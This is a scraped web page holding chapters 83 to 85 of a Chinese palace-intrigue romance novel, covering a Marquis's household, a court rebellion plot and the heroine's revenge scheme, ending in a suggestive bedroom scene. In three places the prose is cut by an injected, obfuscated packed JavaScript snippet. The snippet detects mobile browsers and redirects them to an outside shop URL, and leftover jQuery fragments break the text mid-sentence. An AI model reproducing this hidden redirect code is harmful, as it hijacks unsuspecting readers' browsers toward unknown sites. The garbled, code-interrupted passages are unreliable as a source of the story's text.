玉怜脂抬起眼，轻舒口气：“还是要防备着，去准备纸笔吧。” 她受了“天大”的委屈，可得和谢砚深好好说道说道。 安平伯夫人和赵庆姗吃了教训，云山观那个老道却挥挥袖就跑了。 她可没什么容人的慈悲心肠，断没有打一只害虫放走另一只的道理。 而且，她还真的挺好奇，安平伯夫人和清晖道人之间，究竟是个什么关系。 关嬷嬷立刻应下：“是。” 段素灵拿着软布揉擦她的发尾：“姑娘，明日我要出侯府，京畿最外围的地方有个消息需要去确认。” 玉怜脂立刻转头：“什么消息？” 段素灵扶着她的脑袋，又把她转回去：“传信来的游侠儿只说，或许我们会感兴趣，不过具体情况还得去了才知道。” 那些个游侠儿报信，说是刚出京畿的地方前不久发生了一次刺杀，是在官道上，消息被压下来了，鲜有人知，而那条官道一般是去两江的人会走的。 所以，她必得亲自过去看看。 玉怜脂轻皱眉：“那阿姊多带几个人，路上可不太平。” 段素灵自然点头：“知道了，如今出城没前些日困难了，但京畿内外还是戒严的，便是盗贼都少了许多，我们出了城，乔装便是了。” 83.成了 段素灵离开侯府的第七日，谢砚深的令信到了京城。 在王老太君要玉怜脂抄经诵经七七四十九日的那天，谢滨立刻写了信，交给主院的人，飞鸽传书出京。 谢砚深的回信刚到，谢滨一刻也不耽误，拿着信纸就冲去了润安堂。 “母亲，二郎已经知晓了府中之事，这是他让我代呈给您的信。”谢滨姿态恭敬，声音却是冷的。 王老太君根本不用打开那封信，也大概知道里头写了什么。 脸色铁青，一旁的甘嬷嬷则踌躇着走上前，接过信，展开信纸，小心呈到她面前。 王老太君泄出口气，垂下眼皮一扫，脸色更难看。 谢砚深的话很简练，不留任何否定的余地。 两件事，第一，立刻废停所谓七七四十九日祈福的荒唐作为，侯府里不容许道士僧佛久居，云山观之人不能住在府中，此乃谢氏家规。 第二，到信五日内，由谢滨入宫请恩旨，让几位太医会诊，找出病因，清晖道人可以继续为王老太君诊脉，但所用的药方要经过查验。 最后结尾还带着一句——往后安平伯府来访，每回至少间隔十五日，如若安平伯府之人再常常进出，侯府门房管事、润安堂的管事婆子与大丫鬟，有一个算一个，严惩不贷。 信看完的一瞬间，王老太君伸臂朝旁一扫，小案上的茶盏碎了一地。 谢滨站得不近，只是靴子沾染了些温热茶水。 眼神淡淡向下扫了一眼，而后拱手道：“二郎信里说的，儿子已经全数交代给下头的人了，母亲放心，明日，儿子便去请太医。” 言下之意，门房和府里的管事都知道了谢砚深极为不喜安平伯府和云山观之人，为了小命前程，恐怕现在已经去给清晖道人留下来那两个徒弟收拾包袱了。 王老太君掌心狠狠拍在桌上，一声巨响：“你们眼里还有没有我?！我告诉你……” “母亲，”谢滨平静打断她，“这是二郎的吩咐，若您有话，只管给二郎去信，您也知道二郎的脾气，最厌恶鬼神厌胜之流，要是不照办，待他回来，恐怕就不止不许姨母常来、罚几个管事门房这么简单了。” 他说的这话里头没有半点虚张声势，谢砚深如果真要杀鸡儆猴，就是把谢氏宗族耆老都请过来，也压不住他。 王老太君目光沉到底，气极忽地冷笑：“他是因为厌恶鬼神?” “到底为了什么，他心里清楚！”恨恨撇过眼。 谢滨眉心一蹙：“……母亲何意?” 他一发问，王老太君却是猛然一顿，眼里的厉光都散了些许。 后牙紧了紧，凝眸瞪他：“滚出去！” 绝口不答。 谢滨没再说话，敛下眼行礼，转身便出了门。 离开润安堂，直奔珠玉院的方向。 到了院子里头，迎上来的婢女说玉怜脂在书房里。 没等下人先通传，谢滨转过回廊，一进屋门，就看见玉怜脂正坐在书案前抄经。 眼下淡淡青黑，时不时揉捏手腕，活动腕部小臂时脸上带有隐忍的痛苦。 但她一刻不敢停下，咬着牙坚持。 谢滨凝神看着，有那么一瞬间，年轻女娘的动作和记忆中那道微微佝偻着躯体、日夜不分侍奉在王老太君左右的身影重叠。 书案后的人听见声响抬起头，惊愕：“滨叔?您怎么来了，外头也没个通报……” 谢滨眉头皱成一团，大步走过去，手一伸，书桌上铺着的经文一搂，尽数砸在了地上。 犹嫌不够解气，抬起脚就是狠狠几下重踩。 玉怜脂惊叫：“滨叔……！” “这些东西晦气，不必留着，都烧了罢，往后都不需再抄了。”谢滨声音中还带着未消的怒气，但面对着她，尽量将表情平缓下来。 玉怜脂神色惊讶、疑惑：“可是太夫人还要祈福……” 谢滨：“我方才便是从润安堂过来，母亲已经听劝，府里不再容留云山观的人，怜脂，你可以搬回西院了。” 玉怜脂微微睁大眼，眼中漫上喜色，但好像知道这样不好，又强行压下来。 “真的吗？太夫人的病，好了?”小心翼翼。 谢滨摇了摇头，只说：“那些事你不用管，有太医伺候着呢，安平伯府的人也不会常来了，你只顾养好自己身子就是。” “今日便开始收拾东西吧，我多差几个得力的过来帮你。” 但玉怜脂站在原地垂首纠结了一会儿，没答应。 “滨叔，我过些日子再搬回去吧。”她说道。 “……为何?”谢滨愣住了。 玉怜脂轻声：“我在珠玉院住得挺好的，天太热，来回搬这几趟，下头人也累得慌，让他们多安生些时日吧。” “而且……若是日后要再搬，也省了麻烦，滨叔也不用这样操劳了。”最后这句说的小声，带着无奈。 谢滨的脸色沉下来，他知道王老太君一直不喜欢玉怜脂，日后指不定又找出什么由头找她麻烦。 玉怜脂这回不想搬，明显是不想他夹在中间为难。 “怜脂……”开口要劝。 “滨叔就听我的吧，又不是再不回去了，滨叔就是不得空见我，我也要日日去西院找嫣儿玩的。”她笑起来，用玩笑话安慰。 谢滨看着她强颜欢笑的样子，滞住了，最后深深叹了一口气。 说来也巧，不再祈福的第三日，谢滨请的太医们准备入府的前夕，王老太君的病竟然大好了。 润安堂的下人们漏出点口风，说是王老太君夜间大大出了一场汗，而后又吐又泄，从深夜折腾到天将明，又一觉睡到晌午。 醒来之后，惊人的精神，说是满面红光都不为过。 正备了礼要送给那清晖道人，结果去了云山观后，都管们却说清晖道人给王老太君把完最后一次脉之后，回来便收拾了东西出京云游。 让他们给王老太君带话，这些日子在侯府驱邪祛病，耗费了他修行多年的法力，必须四方行善悟道方能弥补一二。 还说金银都是尘世之物，他为王老太君治病不是为了富贵荣华，侯府的谢礼一概不收，若侯府执意要送，不如将东西折成粮食衣物，施粥布善，救济贫苦。 王老太君一阵感叹，而后果然照办。 侯府施粥的车队浩浩荡荡去往城郊，主院接了飞鸽传令、奉命暗中追捕清晖道人的护卫也策马出了京。 … 午月过后的桂月十分平静，安平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582045|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯夫人和赵庆姗再也没登过门，王老太君派人去伯府询问。 婢子回来之后说，赵庆姗前段日子不小心从台阶上摔下来，脚上筋骨重伤，安平伯夫人正在照料她，这几月都出不了门了，需要彻彻底底的静养。 王老太君本想探望，听到后头，也作了罢。 谢砚深不在京中，她一病闹了这许久，也没多少心力再折腾什么了。 日子一天天地过去，府里各院都是风平浪静，门房都闲了下来。 玉怜脂待在珠玉院里，却是睡得越来越晚，醒得越来越早。 段素灵已经去往京畿外围整整一个月了，一直没有回来。 而谢砚深的飞鸽传书也断了。 她执意住在珠玉院里，不过是为了和主院通消息方便，但每回问忠伯，后者都说谢砚深没有回信。 生活似乎宁静平淡下来，但她总觉得，毫无波澜的水面之下，已经卷起了汹涌漩涡，很快，猛烈的暴风狂潮就要袭来。 压抑的沉寂一直持续到菊月初二，段素灵带着满身风霜回来了。 玉怜脂见到她的第一眼，心惊胆跳。 只是一个月，她整个人黑瘦了一大圈，脸上还有几道结了痂的细疤，像是经历了一场恶战。 “阿姊！”失声。 段素灵眼神黑沉坚毅，进来后站定，唇角竟勾了起来：“姑娘……成了！” 玉怜脂猛地一愣，像是被重重一锤，话都说得有些艰难：“……什么?” “什么成了?是什么成了?”瞳中紧缩，不敢轻易相信。 段素灵深吸一口气：“这一月，我带着人从京畿一路向南，又和两江吕二当家那边传了信，终于确认了消息。” “那个被下狱的刑部官员就是当初审查两江军器监、武库署要员死伤案的人，皇帝新指派的再审官在出京畿路上被刺杀，但那些人没得逞，再审的大理寺寺正已经到两江了。” 玉怜脂眼睫颤动：“那个负责再审的官员，平安到了两江?” “不错，”说到此，段素灵压低了声音，“按理说，出了京畿，路途只会更凶险，可此人却一路平安地入了两江，必是有人为他保驾护航，二当家传完这封信，就再也没了消息。” “前几日，运河和官道去往两江的路段都被封锁了，全是官兵。”这句话，她一字一句，说得最重。 调兵封路，这必是皇帝的旨意。 话音落下，玉怜脂怔住数秒，而后倏地站起身，在屋子里来回地踱步。 忽而回身，眼神锋锐：“领兵两江，护送再审官员的人是谁?” 段素灵抿唇：“这，还不知道。” 玉怜脂垂下头，手按在紫檀桌面，腕上的双镯碰出清响。 半晌，开了口：“阿姊，我们可以开始着手离京的事了。” 段素灵微微一震：“姑娘——” 玉怜脂走过去，握住她的手，低声：“嬷嬷年纪大了，先送她和那些有家有室的人出去，委屈阿姊，带着那些武师，和我最后走吧。” 段素灵沉下眼，用力点头。 镇北侯还没有回来，承王一党准备大乱，的确是带着玉怜脂寻机离开的好时候。 “姑娘放心，我这就去安排。” 84.都走 两江封锁无法瞒住，群臣沸腾，文臣一封又一封的折子递上来，武将却大多沉默。 平武帝没有任何解释，自菊月中旬便一直称病罢朝，便是后宫最得宠的秦贵妃也见不到天颜。 两江情形究竟如何，大理寺寺正下江南一事与如今两江剧变有何牵扯，领兵两江之人是谁…… 迷雾重重，身在雾外的看不分明，心中有鬼之人却已然胆裂心惊。 平武帝罢朝后五日，凤仪宫传来皇后晕厥的噩耗。 帝后双双病倒，一时间，朝内朝外更加风雨飘摇。 秋寒换夏，红叶落下之后，转眼便是阳月，朝上出了几件大事。 第一件事 ，两江解封，平武帝下旨，抄没两江总督府，领兵清洗两江的人也终于浮出水面，竟然是被派往北境平乱的逸郡王与镇北侯。 谢滨知道消息的当日，直接向官署告了假，回府后，难得去了润安堂，在王老太君那里一坐就是半日。 朝中群臣总算回过了神，与两江地方有联结的京官自然都急了起来，但此时一切都已尘埃落定，哪怕奏表堆成山，于局面也无任何改变的可能了。 第二件事，则是女儿刚被钦定为亲王妃不久、年纪尚未半百的护国公任保，上表皇帝，要辞去朝中官职。 此事太过突然，睿王一党惊得目瞪口呆，承王一党却一反常态，在朝上缄口不言。 护国公退出朝廷，就相当于承王退出了皇位之争。 平武帝按下护国公的奏表，没有立刻表态，只冷淡说了几句“护国公是朝廷柱石，国家大事，岂能少卿相商”，随后让护国公回府修养一段时间，等到身体恢复了，再回朝议事。 第三件事，则更是惊天一雷，震得京城风云骤变。 皇帝下诏，逸郡王监军有功，晋亲王位，封为逸王，班师回京后，授雍州牧，生母贤妃追谥恭贞皇贵妃。 雍州正处北境，逸郡王此次与统领北境的镇北侯一齐领兵清洗两江，如今又升为亲王，生母也得到追封，所有的一切都表明，夺嫡的第三个党派，已经出现了。 最重要的是，这个苗头初露、未成气候的新党是平武帝亲手拔植出来的。 … 承王府。 夜深，书房隐隐透出光亮，院中戒备森严，一片寂静。 漏夜而来的女郎抬手解开外披的夜行斗篷，神色冰冷。 承王从书案后走出，接过她手上衣物，即使面有疲色，看见她，眼里还是升起淡淡柔情。 “你怎么来了？入秋了，夜里凉，下回让奴才们过来吧。” 任智妤面对他向来没有礼节可言，转身就坐到了一旁的罗汉榻上。 承王把衣物抛到一边，走到她身边坐下，抹了把脸，才问：“舅父如何了？” 闻言，任智妤面无表情：“利剑悬首，还能如何？惶惶不安罢了。” “舅父何等英杰，怎会惶惶不可终日。”承王扶额，声音沉抑。 任智妤微微冷笑：“大势已去，如何不惊惶呢。等镇北侯和逸郡王……不，是逸王，等他们从两江回来，我们就彻底完了。” “无论是睿王上位，还是逸王登基，未来的新帝都是要把您赶尽杀绝的，不过父亲让我和殿下说，请您宽心，您倒了 ，任氏也逃不掉，我们同赴黄泉，谁都不孤单，只是皇后娘娘难免会伤心了。” 承王默然数秒，一掌重重拍在小几上，腾身站起。 猛地回头，咬着牙：“本王还没到山穷水尽的时候！” “哦？那殿下是想出了什么回天之良计了？” “不必激将本王，今日你来，定是你父亲授意，事已至此，舅父有何打算，就说吧！” 对着眼前人爆发的怒火，任智妤没有惧怕，而是定定地看着他，良久，问道：“殿下如今因惧而怒，不知能因怒而勇否？” 承王一怔，眯起眼：“什么意思？” 任智妤站起身，走到他面前，从袖中拿出一根竹简，递给他。 承王低下头，竹简之上只有两个字——“青州”。 瞳中霎时一缩。 青州与两江接壤，这些年他们暗中囤积的兵马，实际上只有三成在两江，七成藏在青州地界，现任青州牧是护国公的连襟，任智妤的亲姨父。 任智妤靠得更近，抱住他，几乎是贴在他耳边：“殿下，是背水一战，还是引颈就戮，全在您一念之间。” “……这是谋逆！” 承王脸色极黑。 “从当年殿下同意养兵开始，我们就已经是谋逆了！” “那怎能一样？！当年是因为——” “是因为睿王和秦贵妃对您和皇后娘娘步步紧逼，因为当时太后差点就说动了陛下立睿王为太子，殿下为了自保，不得已提早作最坏的打算！”任智妤接过他的话，目中爆发厉光， “殿下当初是为了自保，如今也是为了自保，您是皇嫡子，那把龙椅本来就该是您的！这么多年，陛下迟迟不肯立您为储君，除了因为太后的阻挠，还因为他忌惮您，忌惮您年少力强，忌惮立了你这个名正言顺、有大族做靠山的嫡子为太子之后，他的龙椅坐不稳当，他心爱的贵妃和长子会受尽委屈！” “可您难道就不委屈，皇后娘娘就不委屈？想想这些年的隐忍和屈辱，想想您统御大昀的志向，殿下，你难道真的咽得下这口气吗？！” “够了！！”承王怒吼。 僵持原地许久，承王捏着竹简转过身，不再看她：“……本王要再想想，你回去吧。” 任智妤吐出一口浊气，拿起丢在一旁架上的斗篷。 系好衣带，忽地想起什么，开口：“先前殿下让人同我说，会替我处置那个玉氏女，怎么到现在了，一直没个消息？” 承王皱起眉，耐着性子答道：“那女子一直躲在镇北侯府里，两月前，镇北侯府的老太君请了许多道士进府，本想让人混进去杀了她替你出气，但派去的人回来禀报，说那女人身边竟然有暗卫，没法神不知鬼不觉地了结她。” “一群废物。”任智妤冷笑，顿了顿，又道， “不过殿下，您说错了一点，杀玉氏女不仅是为我出气，也是为您自己出气。那贱人是镇北侯的心头肉，要是杀了她，必能重创镇北侯，也好报他处处和我们作对的大仇。” 承王闭上眼，疲累摆手：“这些小事就先按后吧。” 显然此时不想再在这件事费力。 任智妤冷哼一声，推门走出书房。 —— 小院里的落叶清早刚被清扫干净，到了下午，又铺了一地，虽然失了整洁，但枯红一片的景致倒也别有韵味。 谢文嫣拿勺舀了温热的甜汤，轻啜，而后抬起头，转着圈扫视院中众人。 玉怜脂坐在她对面，见她这样 ，笑着问：“怎么了嫣儿？是在找什么？” 谢文嫣放下玉勺，好奇道：“玉姐姐，我怎么瞧着你院子里的人，换了许多生面孔？对了，你身边的那个老嬷嬷去哪了，她不是一直伺候你的老人吗，怎的说不见就不见了。” 玉怜脂手肘压在小案上，手背轻撑下颚，轻蹙眉头： “你知道我常年喝一副润神消病丸，这汤剂一直是在我家老宅那配的，里头有好几味药只有南边才长，本来苏州那边定时有人送来，可前些日子不知为何，两江竟然封了路，如今虽然刚刚解封，想也还乱得很，不好往来。” “我的药快喝完了，没办法，只能让身边的人出去京畿临近的州府采买，托人去找我不放心，怕采买的不对，只能把贴身伺候我的那些人都派出去。” 谢文嫣睁圆眼：“姐姐要喝药，尽管和我们说就是了，爹爹定然什么药都能为你找过来！” 玉怜脂笑起来：“小事罢了，不必专门劳烦你爹爹，没几日他们也就回来了。” “可你把亲近人都派出去了，身边岂不是没伺候得好的人了，我去同娘亲说，叫几个机灵又贴心的来给你使唤吧。” “哪用专程去找人？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617218|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”玉怜脂笑吟吟地，一伸手，捧住对面女孩的脸蛋， “我瞧你就是个机灵又贴心的，不如就留下来给我使唤使唤吧！” 说着，对着她柔软的脸颊肉就是一顿搓揉。 “我才不要，诶呀！好痒……” 谢文嫣被弄得痒极了，不停地挣扎，两人顿时笑闹成一团。 等快到用晚膳的时辰，谢文嫣才依依不舍地出了珠玉院。 玉怜脂站在院门，很快，小轿消失在视线中，她收回眼，转身回院里。 关嬷嬷不在，这一月，换了段素灵来贴身陪着她。 用膳、消食、喝药，夜色越来越浓，沐浴完毕后，玉怜脂没有立刻安枕入睡，照着往日习惯，屋里点起灯后，盖着厚厚的兽绒被，窝在美人榻上看书。 段素灵动作利落，三两下给她铺好床，往里头放了两个汤婆子。 如今深秋，珠玉院已经烧了地龙，但玉怜脂太畏寒，晚上被窝里越暖和越好。 收拾好之后，段素灵转身回来：“姑娘，再看两盏茶就睡下吧。” 玉怜脂捏着书页，欲翻不翻：“事情怎么样了？” 段素灵知道她问的是什么，垂眼答道：“两江前几日已经解封，没有官兵封路了，家里人在两江的都给了钱财，等路上太平些就包几艘大船送他们回去。” “其余要跟着玉氏的人，由关嬷嬷带着，现下已经到益州地界了，大概还有几日才能联系到吕二当家，届时就让他们在益州会合，等姑娘您脱身离京了，我们便一齐西行，文书都提前备下了，很快就能出镇西关。” 玉怜脂顿了顿，随后点头：“好。” 她一瞬间的犹疑逃不过对面人的眼睛。 段素灵皱起眉：“姑娘……是觉得哪处安排得不妥吗？” “没有。”玉怜脂立时回道。 片刻，还是放下书：“……我只是觉得，可能我一时半会儿走不了了。” 段素灵眼中一紧，像是想起什么，但嘴上只道：“姑娘怎么这样说，一切都安排好了。” 玉怜脂淡淡：“阿姊不必瞒我了，前日我去西院，在书房外头听到滨叔和霖儿说，‘你叔父快回来了’。两江刚解封，他就准备回来，滨叔这些天还告病不朝，看来我赌的没错，领兵前往两江的人，就是他，对吧?” 这里的“他”，不必说名字，也知道是谁。 段素灵抿紧唇。 如今虽然京里头的人撤出去大半，可她的消息还算是灵通，皇帝升逸郡王为亲王的圣旨一下，领兵清洗两江的将帅究竟是何人，已经不必再探究了。 除了和逸王一起出京的镇北侯，还能有谁。 “他回来了，我就彻底走不成了。”玉怜脂垂下眼，眼睫投下薄薄阴影。 谢砚深是不可能放她出京的，就算她强行离开，他派在她身边那些的暗卫也会跟在她身后，谢砚深一下令，他们立刻就会把她抓回京城。 其实这样的情况，她早就料到了，先前一直忽视不提，只不过是不想戳破段素灵的希望。 寻机带她出京，谈何容易。 纸不可能一直包住火，她也没那个耐心演一辈子的戏，如果谢砚深知道她骗了他这么久，以他的性情，大抵会想杀了她泄愤吧。 段素灵蹲下来，仰首看她，几乎是咬着牙：“姑娘，我们现在就走吧！我马上给您收拾行囊……” 玉怜脂浅笑中带这些自嘲：“他留在我身边的那些人，阿姊能都除掉吗？” 一句话，问住了段素灵。 “阿姊，等联系上吕叔那边，你就带着人出京吧。” 段素灵瞳中紧缩：“姑娘?！你，你什么意思——” “我的意思是，不必等我了。”玉怜脂轻声，叹息， “你们走吧，我要留下来，看看那些人的结局。之后镇北侯如何处置我，都与你们无关，你们只要走得够远，就能安全，我死了，他不会对你们赶尽杀绝的。” “都走吧。” 85.归来 冬月初六，大雪节气，天子以皇长子睿王为正使，开京南永定门，率百官迎逸王、镇北侯得胜大军回朝。 侯府提前了三天就得了消息，宫里头特地派了有脸面的大太监来通报，宦官满脸的喜色，大大恭维了一番，指挥禁军把皇帝赏赐下来的金银宝物一箱箱抬进了府里。 府里自然是欢天喜地，战场凶险，易去难回，将门世家里，但凡郎君出兵平安归来,都是要阖府欢庆的。 回朝的当天，京城落了一场小雪，寒风刺骨，逸王一行入了城，繁琐迎接礼节完毕，又马不停蹄入宫觐见皇帝。 高马金甲浩浩荡荡涌往宫门，不多时，前行领军队伍尽数入了城，半刻后，数十辆囚车被后随大军押解着，进入百姓簇拥的大道。 囚车中枷锁加身的人全部蓬头垢面，身上散发出阵阵恶臭，单薄囚衣扛不住北地天寒，无一例外发着抖。 车轮轧过覆着雪泥的地面，留下延绵的猩红痕迹，没有将领进城时的热闹隆重，后进军队的兵士没有任何言语与笑意，行进间只听得见盔甲兵器摩擦的声响，压抑的肃杀氛围下，两道的百姓无人敢扬声喧哗。 主道两侧凡是建了双层以上的茶楼酒楼，全都客满，人群围在栏杆边向下张望。 段素灵半撩开惟帽长纱，眼神冰冷，紧盯每一辆缓慢经过的囚车，直到最后一辆消失在视线范围，收回手，转身离去。 … 申时中，珠玉院的大门被敲响。 门房拔了门闩，探头出来。 来人是润安堂的管事，刚掸落掉身上的雪：“快去通报一声，侯爷回府大喜，太夫人吩咐了，今个儿晚上要给办家宴侯爷接风洗尘，叫各院主子都准备准备，若是玉姑娘身子方便，晚些也请过去。” 说着大喜，但颇有些漫不经心。 门房应了，连忙跑进院里，过了半刻钟，出来回话： “真是不巧，还劳烦管事的回禀太夫人，我们姑娘这些日子一直病着，两刻钟前刚服下药，睡下了，怕是起不来身，明日定去向太夫人和侯爷请罪。” 润安堂的管事却不见愠色，反而点了点头：“姑娘既身体不适，便休息着，这也是没法子的事，太夫人最是通情达理，怎会叫姑娘因为这点小事谢罪，你胡言乱语，也不怕打了嘴。” 他是从老太君跟前领命出来的，知道上头膈应谁、厌烦谁，珠玉院的这位倒也识趣，懂得不去碍他们侯府正头主子的眼。 门房连连应是：“管事的说的是，是我糊涂，乱说一气，您大人有大量，绕小的这一回。” 润安堂管事冷哼一声，仰着下巴走了。 雪粒还在往下掉，珠玉院的大门再次闭阖。 段素灵接过廊下婢子递来的呈药托盘，后者低声几句“外头打发了”，她听罢，颔首表示知晓，走回卧房里。 玉怜脂窝在美人榻上，身上裹了厚厚的绒被，头朝着通向外头雪地的琉璃花窗，眼神怔愣，正发着呆。 “姑娘，该用药了。”段素灵把药放到靠近她的小桌上。 玉怜脂没动弹，声音轻飘飘的：“他还没回到吗？” 段素灵垂下眼：“……还没有，约莫还要一两个时辰。” 大军午时入的城，整顿军营兵马需要耗费时间，谢砚深是主帅，还得进宫谢恩议事，现在天刚要擦黑，时间还早。 玉怜脂摇摇晃晃地扭回身，厚被团着她，像一颗软蓬蓬颤动的毛球。 天冷，她人也懒下来，根本不想伸手，脑袋往前伸，眼巴巴地望向面前的人。 段素灵无奈地摇头，端着药碗递到她嘴边。 喝完药，玉怜脂拢紧身上的兽绒被，慢吞吞倒在榻上，闭眼。 段素灵在旁边守了半盏茶，等玉怜脂的呼吸渐渐平稳，她起身收了药碗和托盘。 转身刚走出几步，身后传来梦呓一样的低语。 “晚上他会派人来接我，阿姊就不要跟着去了。” “先前我说的话，阿姊再好好想想。” “吕叔和嬷嬷那边，总是需要个主心骨的。” “……” 段素灵僵在原地，沉默良久，抬手推开了房门。 － 玉怜脂服药后会睡上一小段时间，秋冬时节，睡的时间比春夏要长上一些。 这回她不是自然醒来，而是被烟火爆竹燃放的响动给吵醒的。 眼睛勉力睁开一条缝隙，各色混杂的明光打在花窗琉璃上，一阵一阵地重复，稍暗一些时，下一波立刻顶上。 珠玉院在东边，家宴举办的正厅离这里有些距离，响动还这样震耳，可见多么热闹。 玉怜脂没有叫人，独个儿在被窝里安静地缩了一会儿，然后包着厚被慢慢爬起来，她的头发倒是没有睡乱，披散下来，两颊和耳垂都带着熏热后的粉红，鼻尖以下的地方埋在被子里。 放烟火炮仗，说明家宴快结束了。 珠玉院后头的小门也要开了。 果不其然，一盏茶之后，房门打开，段素灵脸色难看地走进来。 “谢侯身边那个福明来了。” 玉怜脂抬头，唇角的弧度很淡：“把那件狐绒的大氅拿来吧。” 主院那边一直备有她的衣物，她懒得再更衣，索性裹严实点过去，今晚就在那边沐浴。 段素灵给她穿戴好，拿上挡雪的油伞，一路护着她走到后门。 门已经半开了，福明带着主院里心腹的两个婢女候在门槛外。 见到人，笑容立刻挂上：“姑娘！” “侯爷回来了，一直念着您呢，等前院那边热闹完了就回主院，让我先来接您。” 玉怜脂微垂眼，点头，跨出了小门。 她一句话不说，瞧着完全没有什么高兴的样子，站在她身后的段素灵面色也很冷。 福明的笑意立刻有些挂不住，眉头不自觉皱了皱。 ……这实在不应该是听见心上人归来的反应。 但仔细看过去，她眉眼间还带着困倦疲惫。 或许是刚睡醒，神思还倦怠着。 整了整精神，福明恢复了灿烂的笑容：“姑娘，主院备了暖汤，过去了您用些。” 玉怜脂淡淡地：“嗯。” 另外两个婢女一人撑起大伞，一人提了明灯，左右护着她，给她挡雪，往竹林小道上走。 段素灵站在门内，眼神跟着女娘纤弱的背影，面容半覆晦暗阴影。 福明朝她点了点头，也转身跟上去。 … 玉怜脂到了主院，先喝了暖身的甜汤，又等了小半个时辰，下人们准备好了沐浴的物什，她放下浅碗便去了浴房。 热气氤氲，水面上漂着层层叠叠的花瓣，取一十五种新鲜采摘的秋冬花卉，再混上三十种春夏采摘后晒干留存的花粉，并一道特地调制、用以养身的药粉香，按例撒入池中，一股酥人缠绵的奇香随着水中白雾不断升腾上来。 玉怜脂伏在池边，长发用玉钗盘起，周身通热，她刚睡醒没多久，在这池子里呆了一刻钟的功夫，又困乏了。 入京后的时日，常常心力交瘁，如今即将尘埃落定，她像是忽地失掉全身的力气，除了表面功夫和必要说的话，她一句也不想多言，一步都不想多走，连往日喝的药，也想就此撇了去。 横竖，她时日也不多了，早年请段素灵已经过世的老师父给她诊脉，说她若是悉心调理，少思少虑，能撑过二十四岁，才有享常人之寿的可能。 言下之意，就是活过二十四，也难长命，更何况过这道阎王坎已是难上加难。 入京前她便下了决心，早就不奢望什么了。 眼下最要紧的，还是把段素灵给劝走。 那日争执过后，这些日子，不管她怎么劝，哪怕说重话，下命令，段素灵都是沉默以对，打定了主意不肯走，一副要她丢下她离京除非弄死她的犟样。 头疼。 思绪飘飘绕绕，玉怜脂的眼皮又重了起来。 眼睛有一搭没一搭地眨动，睁开，闭上，再睁开，再闭上，速度越来越缓慢。 但残存的意识还在提醒她，不能在池子里睡过去，算算时辰，外头守着的婢女们也快进来了。 “青娘……”开口呼唤主院伺候她的大丫鬟。 数秒后，房门打开的声音响起。 来人熟练拿起用来给她裹身的丝袍，脚步竟然极快，几下就到了池边，蹲身下来。 平常都会进来两三人，今日却奇怪得很，只有一个。 玉怜脂微微起身，半阖着眼，向池边人伸出手，好让人扶她出来。 池边的人伸出手，却不是握她的手掌，而是轻易捏住了她的小臂。 她的皮肉向来细嫩，一瞬间就感觉到了不舒服。 粗粝的掌心茧摩着她的肌肤，熟悉的微疼与麻痒。 倏地清醒过来，抬起头，男人盯着她的眼睛里带着浓重深暗的欲色。 谢砚深没有束冠，身上也是贴身的长袍，发尾还带着湿意，明显也沐浴过了。 他早就回来了，却没让人通报她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723544|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 水面翻涌，水花交织拍打出声响，惊呼间天旋地转，她已经被他从池子里抱了起来。 男人裹好了她，大步流星出了浴房。 … 寝房里只点了一盏琉璃灯，昏暗至极。 帐幔掀开，她被压进了软被之中。 谢砚深撑身在上，眼眸即使在黑暗里，也锋利明亮。 眼底深处是久别重逢的欢愉、珍宝在怀的欣喜。 眼中动人的情意爱恋几乎要流溢出来。 玉怜脂怔怔地看着他，视线描摹着他的脸庞，移到眼睛的时候，竟然下意识地想要逃避。 在他走之前，她对他柔情、娇缠，所有的目的都是让他感受到她对他的痴与爱。 好让她的计划顺利往下走。 现在他回来了，她的复仇大计也迈到最后几步了。 她却不知道要如何面对他了。 从头到尾，谢砚深都没有哪里对不起她，他给她找最好的药，最好的大夫，什么金银珠宝奇珍异品也是毫不吝惜，把手底下最得力的暗卫都派到了她身边。 京郊截杀，如果不是他调兵保护，她早已百箭穿心，死无葬身之地。 她的血海深仇，也是借了他的手，才有得报的希望。 他对她掏心掏肺，要扫平一切阻碍，力排众议娶她为妻。 可她一直都在算计他。 算计来的爱，还是爱吗？ 他的真心在她的手里，比炭火还要炽烈。 滚烫到她捧不住，拿不起。 谢砚深的目光一寸寸刮过身下人的脸庞，眉心越来越紧。 她的表情太奇怪，脸色苍白，看他的眼神像是在发呆，又像是害怕。 她的肩头竟然在发抖。 忍不住开口：“怜……” 唇被倏地封住，一双细弱的手臂环住他的脖颈，向下拉。 … 在玉怜脂解开他腰带伏下身的时候，谢砚深忽然觉得，于闺中之乐上，她其实并无太多避讳恐惧，反而欢愉远多过不喜。 今日，她还有一份异于常态的沉迷。 